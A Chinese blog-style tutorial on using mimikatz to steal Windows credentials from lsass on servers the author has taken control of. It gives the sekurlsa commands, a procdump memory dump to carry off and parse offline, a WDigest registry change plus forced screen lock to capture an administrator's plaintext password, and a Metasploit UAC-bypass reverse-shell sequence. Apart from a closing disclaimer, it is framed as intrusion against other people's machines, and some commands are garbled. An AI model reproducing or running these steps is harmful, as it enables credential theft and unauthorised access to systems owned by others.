mimikatz的使用

mimikatz是个好东西,它的功能很多,最重要的是能从 lsass.exe进程中获取windows的账号及明文密码——这是以前的事了,微软知道后已经准备了补丁,lsass进程不再保存明文口令。Mimikatz 现在只能读到加密后的密码。

使用方法:

1:远程连接使用

控制远程的服务器后,‘帮助’对方下载mimikatz,然后以管理员身份运行

privilege::debug   提取权限
sekurlsa::logonpasswords   抓取密码

在这里插入图片描述
这里抓到了administrator的账号,密码是null,说明没设密码;当然,最大的可能是没抓到密码。解决方法可以看看注意的第四点

在这里插入图片描述

2:本地使用

如果对方电脑开了防火墙,装了杀毒软件,如360,火绒,nod32之类的话。可能就不能在对方电脑上使用mimikatz
在这里插入图片描述
前面说过,mimikatz是从 lsass.exe进程中获取windows的账号及密码的,
这时,我们可以帮对方安装一个procdump64.exe(这是微软自己的工具,可以放心使用)

然后从 lsass.exe进程里导出一个 包含账号密码信息的lsass.dmp 文件,再把这个dmp文件传回来,最后在自己的环境下运行mimikatz,从 dmp文件里读取信息。

1、安装procdump64.exe

2、从procdump64.exe里导出lsass.dmp

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

3、将lsass.dmp传回本地

4、使用本地的mimikatz.exe读取lsass.dmp

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"

我没有搞成功,就不贴图了

可以参考这几篇文章
http://www.hackdig.com/07/hack-55560.htm
https://www.cnblogs.com/kuaile1314/p/12288476.html

注意:

1、版本问题

文件夹里有两个版本,一个是对应32位系统的,一个是64位系统的。搞混了是抓不到信息的

在这里插入图片描述

2、运行权限

一定要用管理员身份运行

在这里插入图片描述

不然会提示权限不够

在这里插入图片描述

3、抓取范围

因为它是从 lsass.exe进程中获取windows的账号密码,而每次关机重启后,lsass进程中的账号信息都会清空

所以只能抓到上次关机后登录过的账号密码的信息

4、抓不到密码的解决方法

以下操作都在cmd里进行

  1. 开启Wdigest Auth服务
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  1. 强制锁屏
rundll32 user32.dll,LockWorkStation
  1. 等待目标系统管理员重新登录
  2. 截取明文密码
  3. 关闭Wdigest Auth服务
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

但是我在写的时候出错了,说无效项名,也不知道啥原因
百度半天也没解决这个问题,暂时先记下来,等找到解决方案了再写
在这里插入图片描述

mimikatz下载链接

1、百度云盘,提取码是 kcuh
2、csdn

### Kali Linux 上 Mimikatz使用教程 #### 安装与准备 Kali Linux 是基于 Debian 的操作系统,因此可以利用 `apt` 软件包管理器来安装所需的工具。对于 Mimikatz,在较新的版本中,其功能已经被集成到了 Kiwi 模块之中[^4]。 为了确保能够顺利运行 Mimikatz 或者说 Kiwi 模块的功能,操作环境应当具有足够的权限——即 system 权限。这意味着如果通过 Metasploit Framework (MSF) 进行攻击,则需先将现有的 shell 提升至 system 级别。 #### 获取并加载 Mimikatz/Kiwi 在终端输入如下命令以启动带有 mimikatz 功能的 kiwi 模块: ```bash use exploit/windows/local/bypassuac set payload windows/x64/meterpreter/reverse_tcp exploit -j -z sessions -l sessions -i <session_id> load kiwi ``` 上述脚本假设读者正在使用 MSF 并已成功建立了一个 session。最后一行用于载入 kiwi 模块以便后续调用 mimikatz 命令。 #### 密码提取 一旦获得了适当级别的访问控制权之后,就可以尝试从内存或其他位置检索凭证信息了。例如,要转储 SAM 数据库中的散列值,可执行以下指令: ```bash privilege::debug sekurlsa::logonpasswords ``` 第一条命令赋予进程调试特权,这对于许多 mimikatz 操作来说都是必需的前提条件之一。第二条则会显示登录用户的明文密码以及哈希值(如果有),这些数据按照认证 ID、包名、域/机器名称、用户名和密码的形式被呈现出来[^5]。 请注意,这里所描述的过程仅适用于合法授权的安全测试活动当中,并且应该遵循所有适用法律及道德准则来进行实践。
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值